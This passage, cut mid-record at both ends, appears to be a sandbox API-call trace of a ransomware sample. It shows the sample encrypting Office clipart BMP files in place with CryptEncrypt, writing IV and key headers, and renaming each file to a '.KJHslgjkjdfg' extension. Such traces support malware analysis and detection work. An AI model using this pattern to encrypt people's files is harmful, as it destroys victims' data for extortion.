pdwDataLen=0x290f258*=0x1a6c0) returned 1 [0188.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.684] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a6c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a6c0, lpOverlapped=0x0) returned 1 [0188.685] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.685] SetEndOfFile (hFile=0x114) returned 1 [0188.688] GetProcessHeap () returned 0x2a0000 [0188.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.688] GetProcessHeap () returned 0x2a0000 [0188.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.kjhslgjkjdfg")) returned 1 [0188.689] CloseHandle (hObject=0x114) returned 1 [0188.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0188.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.690] GetProcessHeap () returned 0x2a0000 [0188.690] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.690] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.690] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.692] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.692] GetProcessHeap () returned 0x2a0000 [0188.692] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.692] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.693] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.693] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.693] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.693] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.693] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.693] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.693] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.693] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.693] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0188.695] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a7e0) returned 1 [0188.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.696] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a7e0, lpOverlapped=0x0) returned 1 [0188.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.697] SetEndOfFile (hFile=0x114) returned 1 [0188.700] GetProcessHeap () returned 0x2a0000 [0188.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.700] GetProcessHeap () returned 0x2a0000 [0188.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.kjhslgjkjdfg")) returned 1 [0188.702] CloseHandle (hObject=0x114) returned 1 [0188.703] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0188.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.704] GetProcessHeap () returned 0x2a0000 [0188.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.704] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.704] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.706] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.706] GetProcessHeap () returned 0x2a0000 [0188.706] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.706] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.706] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.706] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.706] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.706] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.706] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.707] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.707] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.707] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.707] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0188.708] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a7e0) returned 1 [0188.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.709] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a7e0, lpOverlapped=0x0) returned 1 [0188.710] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.710] SetEndOfFile (hFile=0x114) returned 1 [0188.713] GetProcessHeap () returned 0x2a0000 [0188.713] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.713] GetProcessHeap () returned 0x2a0000 [0188.713] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.kjhslgjkjdfg")) returned 1 [0188.715] CloseHandle (hObject=0x114) returned 1 [0188.715] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0188.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.717] GetProcessHeap () returned 0x2a0000 [0188.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.717] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.718] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.719] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.719] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.720] GetProcessHeap () returned 0x2a0000 [0188.720] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.720] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.720] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.720] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.720] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.720] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.720] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30408, lpOverlapped=0x0) returned 1 [0188.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30410, dwBufLen=0x30410 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30410) returned 1 [0188.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.726] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30410, lpOverlapped=0x0) returned 1 [0188.727] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.727] SetEndOfFile (hFile=0x114) returned 1 [0188.731] GetProcessHeap () returned 0x2a0000 [0188.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.731] GetProcessHeap () returned 0x2a0000 [0188.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.kjhslgjkjdfg")) returned 1 [0188.733] CloseHandle (hObject=0x114) returned 1 [0188.733] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0188.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.735] GetProcessHeap () returned 0x2a0000 [0188.735] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.735] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.735] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.738] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.738] GetProcessHeap () returned 0x2a0000 [0188.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.738] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.738] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.739] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.739] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.739] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.739] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30408, lpOverlapped=0x0) returned 1 [0188.743] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30410, dwBufLen=0x30410 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30410) returned 1 [0188.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.745] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30410, lpOverlapped=0x0) returned 1 [0188.746] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.746] SetEndOfFile (hFile=0x114) returned 1 [0188.750] GetProcessHeap () returned 0x2a0000 [0188.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.750] GetProcessHeap () returned 0x2a0000 [0188.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.KJHslgjkjdfg" 